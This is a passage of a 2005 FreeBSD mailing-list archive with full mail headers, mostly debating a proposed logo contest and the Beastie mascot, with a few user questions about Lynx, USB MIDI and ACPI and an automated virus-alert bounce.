instead, it might have a shot in > the competition. I deliberately avoided that, because (1) anything that doesn't have an interpretation alternate to that of a devil's tail might offend the Bible thumpers, and they are customers, too; and (2) the alternate interpretation of a heart makes the brand seem a bit more human and lovable, and references the loyalty of the FreeBSD user community. > And who do we have to pay royalties to or buy that font from? Nobody. You don't need a license to use a font. The shape of a font is not protected; only the name of the font is protected (copyrighted and/or trademarked), and the font files (which count as software) are protected by copyright. The font files are not used in this design, since I deliberately converted the letter forms to outlines for that reason. You're far more likely to have licensing problems with a cartoon character than with a typeface. > And if you look again at the book cover you might note that the > computer behind Beastie somewhat resembles a PDP. I don't have the book in front of me, but I do seem to recall a certain PDPness to whatever was behind Beastie in the blue shadows. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 13:08:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5572D16A4D8 for ; Thu, 10 Feb 2005 13:08:19 +0000 (GMT) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id 07FDD43D2F for ; Thu, 10 Feb 2005 13:08:19 +0000 (GMT) (envelope-from list-freebsd-2004@morbius.sent.com) Received: from frontend3.messagingengine.com (frontend3.internal [10.202.2.152]) by frontend1.messagingengine.com (Postfix) with ESMTP id 3BB5CC55B80 for ; Thu, 10 Feb 2005 08:08:18 -0500 (EST) X-Sasl-enc: VjPw8mkT6PWbzAsNdkDYxg 1108040898 Received: from gumby.localhost (dsl-80-41-11-157.access.as9105.com [80.41.11.157]) by frontend3.messagingengine.com (Postfix) with ESMTP id 247C225535 for ; Thu, 10 Feb 2005 08:08:17 -0500 (EST) From: RW To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 13:08:12 +0000 User-Agent: KMail/1.7.2 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502101308.13556.list-freebsd-2004@morbius.sent.com> Subject: Re: Javascript in Lynx X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 13:08:19 -0000 On Thursday 10 February 2005 06:32, Vince Sabio wrote: > I'm running 5.1-RELEASE, and need to use Lynx via an ssh session to > access my firewall's administrative interface. Logging into the > firewall requires javascript. My FreeBSD machine has a stock > installation of Lynx Version 2.8.4rel.1. I've gone through the > [O]ptions in Lynx to find some means of enabling javascript, but > haven't been able to locate it. The on-line docs don't seem to > mention anything about it. Does Lynx even support javascript? If so, > how do I enable it? I don't think it does, most people that want a more able text-based browser would go for links or w3m. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 13:08:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F349416A4CE for ; Thu, 10 Feb 2005 13:08:48 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 80B6C43D1F for ; Thu, 10 Feb 2005 13:08:48 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id B6C3C1C000AB for ; Thu, 10 Feb 2005 14:08:47 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id 8F69D1C0008F for ; Thu, 10 Feb 2005 14:08:47 +0100 (CET) X-ME-UUID: 20050210130847587.8F69D1C0008F@mwinf1109.wanadoo.fr Date: Thu, 10 Feb 2005 14:08:47 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1636493377.20050210140847@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <108284711.20050210103325@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo suchasNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 13:08:49 -0000 Ted Mittelstaedt writes: > This depends on your definition of survival. > > As long as FreeBSD runs on some hardware, and people still use it, > it's surviving. No doubt, but to some extent the enthusiasm of the volunteers that work on the OS is a function of how many people they know to be using the software. > The only real issue I see to FreeBSD's survival that requires > corporate attention is device drivers for new hardware. And this is an > issue that harms all operating systems even Windows. There are just as > many older versions of Windows being made unrunnable by new hardware > that lacks drivers for it, as BSD versions. Don't hardware manufacturers publish specs detailed enough to allow third parties to write drivers? > but beyond this, the computer industry itself is in a real growth > slump anyway. The 8080 IBM PCjr architecture is still at the core > of new PC hardware. What growth we are seeing is the increasing > commoditization of hardware. Unfortunately this is stunting the > introduction of newer and possibly better ways to build a computer, > all it does is just make the hardware cheaper and cheaper, and > less and less innovative. (not that I'm complaining about the > cheaper part, of course) I don't expect this to change. Computers are increasingly like washing machines or cars. Don't expect any huge innovations in the near future. Linux is a great case in point. What a pity that when people finally looked at something like UNIX, it turned out to not be UNIX at all, but someone cooked up in a schoolkid's garage. A perfect example of a product sold on hype alone, even though technically superior solutions already existed (but had no hype behind them). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 13:21:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4775916A4CE for ; Thu, 10 Feb 2005 13:21:02 +0000 (GMT) Received: from mail.nintendo.de (ruebe.nintendo.de [195.27.92.104]) by mx1.FreeBSD.org (Postfix) with ESMTP id 82AB843D45 for ; Thu, 10 Feb 2005 13:21:01 +0000 (GMT) (envelope-from do_not_reply@nintendo.de) Received: from ruebe.nintendo.de (ruebe.nintendo.de [10.30.1.3]) by mail.nintendo.de (krimsel.kramsel.com) with ESMTP id 2E87228BCD for ; Thu, 10 Feb 2005 14:17:57 +0100 (CET) Received: from localhost (unknown [127.0.0.1]) by localhost (krimsel.kramsel.com) with SMTP id B1A4373BA for ; Thu, 10 Feb 2005 14:21:46 +0100 (CET) From: do_not_reply@nintendo.de To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 14:21:46 +0100 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20050210132146.B1A4373BA@ruebe.nintendo.de> Subject: Virus Alert X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 13:21:02 -0000 +++ The mail message (file: shower.pif) you sent to contains a virus (WORM_NETSKY.B)+++ Dear sender, we have detected that you send with every e-mail a virus. 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Mfg ISD-Technical-Support From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 13:22:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A28AA16A4CF for ; Thu, 10 Feb 2005 13:22:15 +0000 (GMT) Received: from sarajevo.pacific.net.sg (sarajevo.pacific.net.sg [203.120.90.134]) by mx1.FreeBSD.org (Postfix) with SMTP id 8317A43D48 for ; Thu, 10 Feb 2005 13:22:14 +0000 (GMT) (envelope-from oceanare@pacific.net.sg) Received: (qmail 14171 invoked from network); 10 Feb 2005 13:22:13 -0000 Received: from unknown (HELO maxwell2.pacific.net.sg) (203.120.90.192) by sarajevo with SMTP; 10 Feb 2005 13:22:12 -0000 Received: from [192.168.0.109] ([210.24.124.198]) by maxwell2.pacific.net.sg with ESMTP <20050210132212.RAVH1207.maxwell2.pacific.net.sg@[192.168.0.109]>; Thu, 10 Feb 2005 21:22:12 +0800 Message-ID: <420B6081.30206@pacific.net.sg> Date: Thu, 10 Feb 2005 21:24:17 +0800 From: Erich Dollansky Organization: oceanare pte ltd User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <200502091349.00708.algould@datawok.com> <420ACD5E.3030708@pacific.net.sg> <200502092210.39490.algould@datawok.com> <420AE14F.6050104@pacific.net.sg> <1054192109.20050210101652@wanadoo.fr> In-Reply-To: <1054192109.20050210101652@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-advocacy@freebsd.org Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 13:22:15 -0000 Hi, Anthony Atkielski wrote: > Erich Dollansky writes: > > >>Do above attributes apply to the logo of the most successful software >>package known as Windows? > > > Yes. The Windows logo is simple and easy to recognize. The full logo > is in multiple colors and requires screens to print, which is a bit of a > drawback, but fortunately it is designed such that it can be printed > with fewer colors, no screens, and in monochrome if necessary. It > provides a very high level of brand recognition; even in straight black > and white, people instantly recognize what the logo represents. > And FreeBSD's beastie can even be 'printed' on an ASCII-Terminal still being recognised. > >>FreeBSD already has this image. > > > FreeBSD doesn't have a _logo_. > FreeBSD uses currently the multirole beastie. Erich From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 13:24:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0670E16A4CE for ; Thu, 10 Feb 2005 13:24:03 +0000 (GMT) Received: from salvador.pacific.net.sg (salvador.pacific.net.sg [203.120.90.219]) by mx1.FreeBSD.org (Postfix) with SMTP id 1409143D46 for ; Thu, 10 Feb 2005 13:24:02 +0000 (GMT) (envelope-from oceanare@pacific.net.sg) Received: (qmail 23439 invoked from network); 10 Feb 2005 13:24:01 -0000 Received: from unknown (HELO maxwell2.pacific.net.sg) (203.120.90.192) by salvador with SMTP; 10 Feb 2005 13:24:01 -0000 Received: from [192.168.0.109] ([210.24.124.198]) by maxwell2.pacific.net.sg with ESMTP <20050210132400.RAXA1207.maxwell2.pacific.net.sg@[192.168.0.109]>; Thu, 10 Feb 2005 21:24:00 +0800 Message-ID: <420B60EC.9000009@pacific.net.sg> Date: Thu, 10 Feb 2005 21:26:04 +0800 From: Erich Dollansky Organization: oceanare pte ltd User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <200502091349.00708.algould@datawok.com> <420ACD5E.3030708@pacific.net.sg> <1709665858.20050210101217@wanadoo.fr> In-Reply-To: <1709665858.20050210101217@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-advocacy@freebsd.org Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 13:24:03 -0000 Hi, Anthony Atkielski wrote: > Erich Dollansky writes: > > >>Do you believe that Windows is this successful because of its logo? > > > No, but the logo accounts for a lot of brand recognition for Windows, as > it does for most other products. Simple logos are easy to retain and Yes, after Windows become popular, the logo helps in some way. FreeBSD is far from being as popular as Windows. Erich From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 13:27:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B392116A4CE for ; Thu, 10 Feb 2005 13:27:35 +0000 (GMT) Received: from mail.int.xm.co.za (email.xm.co.za [196.23.175.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id A36E843D1D for ; Thu, 10 Feb 2005 13:27:34 +0000 (GMT) (envelope-from al@xms.co.za) Received: from mailnull by mail.int.xm.co.za with virus-scanned (Exim 4.42 (FreeBSD)) id 1CzESQ-000AXr-V8 for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 15:34:10 +0200 Received: from [192.168.1.193] (helo=linux.site) by mail.int.xm.co.za with smtp (Exim 4.42 (FreeBSD)) id 1CzESQ-000AXg-Qn for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 15:34:10 +0200 Date: Thu, 10 Feb 2005 15:29:49 +0200 From: Andrew Lewis To: freebsd-questions@freebsd.org Message-Id: <20050210152949.3cfeb4bd@linux.site> X-Mailer: Sylpheed-Claws 0.9.12 (GTK+ 1.2.10; i686-suse-linux) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Status of USB MIDI support in FreeBSD 5.3? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 13:27:35 -0000 I'm interested in using an Evolution MK-361C MIDI Keyboard with Csound under FreeBSD. Is MIDI working under FreeBSD yet? If not, does anyone know when it's expected to? Perhaps I should give NetBSD a whirl for this one...? -AL. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 13:46:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AE45E16A4CE for ; Thu, 10 Feb 2005 13:46:39 +0000 (GMT) Received: from ptb-relay01.plus.net (ptb-relay01.plus.net [212.159.14.212]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6FF5043D46 for ; Thu, 10 Feb 2005 13:46:39 +0000 (GMT) (envelope-from marko@freebsd.org) Received: from movens.plus.com ([80.229.231.20] helo=[127.0.0.1]) by ptb-relay01.plus.net with esmtp (Exim) id 1CzEeQ-0006H6-Ea for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 13:46:34 +0000 Message-ID: <420B6559.70209@freebsd.org> Date: Thu, 10 Feb 2005 13:44:57 +0000 From: Mark Ovens User-Agent: Mozilla Thunderbird 7.0 (Windows/20050209) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <108284711.20050210103325@wanadoo.fr> <1636493377.20050210140847@wanadoo.fr> In-Reply-To: <1636493377.20050210140847@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-0, 08/02/2005), Outbound message X-Antivirus-Status: Clean Subject: Re: Please don't change Beastie to another crap logo suchasNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 13:46:39 -0000 Anthony Atkielski wrote: > Linux is a great case in point. What a pity that when people finally > looked at something like UNIX, it turned out to not be UNIX at all, > but someone cooked up in a schoolkid's garage. History repeating itself? Microsoft began life in Bill Gates' garage didn't it? > A perfect example of a product sold on hype alone, even though > technically superior solutions already existed (but had no hype > behind them). > History repeating itself? Can I say "Microsoft"? ;-) Mark --- avast! Antivirus: Outbound message clean. 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X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 00:55:55 -0000 i have one and its been great except that it came with macafee virus = protector which was horrible. it made my laptop act up but as soon as i = got rid of it everything was perfect. i got it in december. its got a = lovely screen and the mouse and keyboard are excellent. i looked around = in my class and 3 ppl had the same laptop and they seemed pretty happy = with it. also, the wireless internet has been fine from the begining. i = dont know if u have specific questions about it but if u do let me know. = take care,=20 donna From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 08:09:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 31C4516A4CF for ; Thu, 10 Feb 2005 08:09:35 +0000 (GMT) Received: from mtiwmhc12.worldnet.att.net (mtiwmhc12.worldnet.att.net [204.127.131.116]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7A83643D6D for ; Thu, 10 Feb 2005 08:09:28 +0000 (GMT) (envelope-from robdem@worldnet.att.net) Date: Thu, 10 Feb 2005 08:09:23 +0000 (GMT) X-Comment: Sending client does not conform to RFC822 minimum requirements X-Comment: Date has been added by Maillennium Received: from robdem@worldnet.att.net (129.washington-42rh15-16rt.dc.dial-access.att.net[12.77.64.129]) by worldnet.att.net (mtiwmhc12) with SMTP id <200502100807451120025i4ue>; Thu, 10 Feb 2005 08:08:03 +0000 From: "Rob D." To: freebsd-questions@freebsd.org In-Reply-To: <9C4E897FB284BF4DBC9C0DC42FB34617641AD5@mvaexch01.acuson.com> Message-Id: <20050210080928.7A83643D6D@mx1.FreeBSD.org> X-Mailman-Approved-At: Thu, 10 Feb 2005 13:55:40 +0000 cc: Johnson David Subject: Re: FreeBSD logo design competition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 08:09:35 -0000 On Wed, Feb 09, 2005 at 01:41:29PM -0800, Johnson David wrote: > From: stheg olloydson [mailto:stheg_olloydson@yahoo.com] > > > > Now as to the "need" to change the logo, to quote the announcement, > > "This character sometimes treated with misinterpreted in the > > religious and cultural context." Over the years, the only complaints I > > have ever heard have come from America's Taliban. Leaving aside the > > question of whether or not the complainers are in a position to make > > any sort of IT decision, one must ask what is their motivation for > > complaining. They are simply trying to force their religious orthodoxy > > on others. These are the same people trying to eliminate the barrier > > between state and church to make the United States into a theocratic > > country. Therefore, these complaints can be categorized as coming from > > an irrational minority that should be ignored. > > Please keep your personal politics and cultural bigotry off of these lists. > There is no "America's Taliban", and the use of the term is used solely to > incite emotions. Thinking that just because people share you views on > operating systems they must also share you views on religion and foreign > policy is sheer hubris. > > I realize that geeks and hackers tend to be irreligious, and Open Source a > collection of global communities, but not until today have I seen such > anti-Christian and anti-America bigotry in the FreeBSD community. Is this to > be the new standard of discourse? If so, tell me now so I can avoid the rush > in switching to another BSD. > > As a Christian I am not in the least offended by Beastie. But I am getting > quite offended by people stereotyping my religion, nation and culture. > > David Johnson As a non-Christian, all I have to say to David is "right on." I also like Beastie, and would be greatly annoyed if FreeBSD got rid of it. Political correctness sucks -- whatever side of the political spectrum it comes from. However, so-called "free thinkers" who bravely equate George Bush to Iranian mullahs and believe people who have a problem with ripping the heads off of nine-month fetuses are no different than the freaking Taliban are the same idiots who buy into Michael Moore's conspiracy theories, idolize the mass murderer Che Guevara, and think the CIA "assassinated" reggae singers because America was about to chill out too much. And, oh yes, I am also a Maryland Republican living in painfully liberal Montgomery County, where our great progressive government leaders, unlike the Talibanesque John Ashcroft, have banned smoking in bars, not to mention a flurry of others pieces of legislation that regulate people's private lives. And let's not forget, Stheg, that leftist European governments are not known for their great libertarian restraint. The anti-terrorism laws of many European nationsthink France, maybe Holland soon enough) make the Patriot Act look like something out of Mayberry. Know thyselves, hypocrites. Fundies aren't the only ones that need to mind their own business. Did I mention I like Beastie?) Rob. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 13:58:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6F8DF16A4CE for ; Thu, 10 Feb 2005 13:58:58 +0000 (GMT) Received: from webmail.hitv.ru (webmail.hitv.ru [217.66.16.37]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8F1EC43D1D for ; Thu, 10 Feb 2005 13:58:57 +0000 (GMT) (envelope-from errmaker@mail.ru) Received: from localhost ([217.66.19.19]) by webmail.hitv.ru (8.13.1/8.13.1) with ESMTP id j1ADwscI056357 for ; Thu, 10 Feb 2005 16:58:56 +0300 (MSK) (envelope-from errmaker@mail.ru) Date: Thu, 10 Feb 2005 16:58:48 +0300 To: freebsd-questions@freebsd.org From: Alex Content-Type: text/plain; format=flowed; delsp=yes; charset=koi8-r MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: User-Agent: Opera M2/7.54 (FreeBSD, build 751) Subject: FreeBSD ACPI X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: errmaker@mail.ru List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 13:58:58 -0000 hi ! apm on my laptop making "skips" every 2-3 sec. does freebsd have some daemon to shutdown laptop when battery low using ACPI only (without apm enabled)? From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 14:03:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1863516A4CF; Thu, 10 Feb 2005 14:03:19 +0000 (GMT) Received: from smtpq3.home.nl (smtpq3.home.nl [213.51.128.198]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6984043D5C; Thu, 10 Feb 2005 14:03:18 +0000 (GMT) (envelope-from dodell@sitetronics.com) Received: from [213.51.128.136] (port=39041 helo=smtp5.home.nl) by smtpq3.home.nl with esmtp (Exim 4.30) id 1CzEub-0005gh-GE; Thu, 10 Feb 2005 15:03:17 +0100 Received: from cc740438-a.deven1.ov.home.nl ([82.72.18.239]:33889 helo=192.168.1.104) by smtp5.home.nl with esmtp (Exim 4.30) id 1CzEuZ-0004VJ-NB; Thu, 10 Feb 2005 15:03:15 +0100 From: "Devon H. O'Dell" To: Erich Dollansky In-Reply-To: <420B6081.30206@pacific.net.sg> References: <200502091349.00708.algould@datawok.com> <200502092210.39490.algould@datawok.com> <1054192109.20050210101652@wanadoo.fr> <420B6081.30206@pacific.net.sg> Content-Type: text/plain Organization: SiteTronics Date: Thu, 10 Feb 2005 15:03:15 +0100 Message-Id: <1108044195.5517.74.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-AtHome-MailScanner-Information: Please contact support@home.nl for more information X-AtHome-MailScanner: Found to be clean cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 14:03:19 -0000 [In reply to the huge number of misguided messages that have been rolling into my Inbox through last night and all of today.] I don't understand why you people are still battling on the subject. Some less-than-smart person has also started up an online petition which has gotten tons of people who DO NOT understand the situation to sign said petition. First: this is about PRINTING. What happens when you print any of the currently available FreeBSD logos? I'll tell you. Before going into this, I think I should explain a couple things about the press and about computer art. I'm sure some of you know this, but it is very apparent that some of you couldn't identify a raster image from a hole in the ground. When printing _any_ sort of art, there are certain things that need to be kept in mind. I'm keeping this simple. Do not get pedantic on me about this. First, I'd like to explain how things get printed on large media (large posters, signs, etc). Even some T-Shirt companies print their shirts this way. When printing on such media, you work with silk screens, conveniently named ``silkscreens.'' When printing, these screens are used to layer colors. Only one color can be printed at a time. When you print a Beastie that has 5 colors (using the EPS version as an example -- 5 colors because you don't have to print white), each color has to be pressed through the screen in a separate process. You can re-use screens across media. Thus, if you want to print 1,000 posters with the EPS of Beastie, you need to have 5 screens, and some poor worker (believe me, this is still hand-done in most places) has to print various parts of Beastie 5,000 times. What's the difference between raster and vector art? Raster art is what you usually see on the web. Files in GIF, JPEG, PNG, TIFF, BMP and other similar formats are all raster graphics. This basically means that the image is defined based on color values at certain pixels. Various formats have various ways to compress this, but that's basically how they all work. Vector art makes use of (unsurprisingly) vectors to determine how the image should be shown. The image is stored as mathematical data which describes where and how bezier curves should be formed, where lines are. Color can be added simply by giving these vectors a color property. If a shape is closed, you can even give it a fill. Indeed, you can even fill non-closed shapes by inferring their area based upon various different algorithms. The difference between raster and vector art is that rasterized images are generally only good for viewing on-screen. Unless your rasterized image is at a high quality with a high DPI, you can't do very much resizing without losing substantial quality (usually you can make them smaller and maintain a good quality, but making them larger usually removes quality directly). This is why you can't really enlarge digital photos and why when taking good pictures with a digital camera requires a camera with a high resolution. On the other hand, vector art can be resized to any size and maintain its original quality. So, when you get down to it, you really need to realize the problems: o The number of colors. The more colors an image has, the more it costs to print, for obvious reasons. The current FreeBSD logo not only makes use of a rasterized version of Beastie that is difficult to print at a high resolution, the text is beveled. There are tons of colors that would have to be removed or changed to print this on large media. Additionally, the raster would have to be traced, since I know of no raster version of Beastie that's larger than about 1200px wide. Printing the current logo is too expensive. o The ability to be resized. Even if this was traced by a program such as Inkscape (which makes use of some other tracing program, so I'm giving credit to the wrong place, sorry), there would be a substantial amount of quality lost. I know, because tracing even a small image (320x240) with a high number of scans (say 50) eats up about 500 MB RAM and comes close to hanging my dual P3 800. It might be doable at a reasonable speed on a AMD64 machine with 2 gigs of RAM; I wouldnt' be surprised if it wasn't. Converting the logo to something printable is too much of a PITA. o If we use the current vector version (the EPS version available in /usr/share/examples/BSD_daemon), we're losing a lot. It's not very detailed, it's not very pretty, and it still uses 5 colors, which is pretty expensive to print. o If we use either, you have to understand that either version is a bitch to print at a small size (for letterhead). The EPS is not well detailed, and the raster version still uses a lot of red ink :). The raster isn't very clear when printed in black and white, and the EPS still isn't pretty. This isn't about removing Beastie from FreeBSD. This is about a professional logo that can be easily printed on a wide variety of media including your computer screen, the head of your legal pads / A4s, a t- shirt, or a light tube for the side of a building. The fact that the accepted logo should be designed to not depict subjects which might be construed as harassing to another's beliefs, etc. is a perk. Not a pitfall. I plan to contribute. Kind regards, Devon H. O'Dell From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 14:03:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 901A816A4D4 for ; Thu, 10 Feb 2005 14:03:22 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4D1C743D4C for ; Thu, 10 Feb 2005 14:03:22 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 87BC61C00128 for ; Thu, 10 Feb 2005 15:03:21 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 645B41C00142 for ; Thu, 10 Feb 2005 15:03:21 +0100 (CET) X-ME-UUID: 20050210140321411.645B41C00142@mwinf0908.wanadoo.fr Date: Thu, 10 Feb 2005 15:03:21 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <143832045.20050210150321@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420B6559.70209@freebsd.org> References: <108284711.20050210103325@wanadoo.fr> <1636493377.20050210140847@wanadoo.fr> <420B6559.70209@freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo suchasNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 14:03:22 -0000 Mark Ovens writes: > History repeating itself? Microsoft began life in Bill Gates' garage > didn't it? Yes, but the logo did not. It was years before Microsoft adopted a consistent logo. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 14:03:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B7C9616A4D0 for ; Thu, 10 Feb 2005 14:03:31 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.205]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4CADD43D55 for ; Thu, 10 Feb 2005 14:03:31 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so99357rnf for ; Thu, 10 Feb 2005 06:03:30 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; 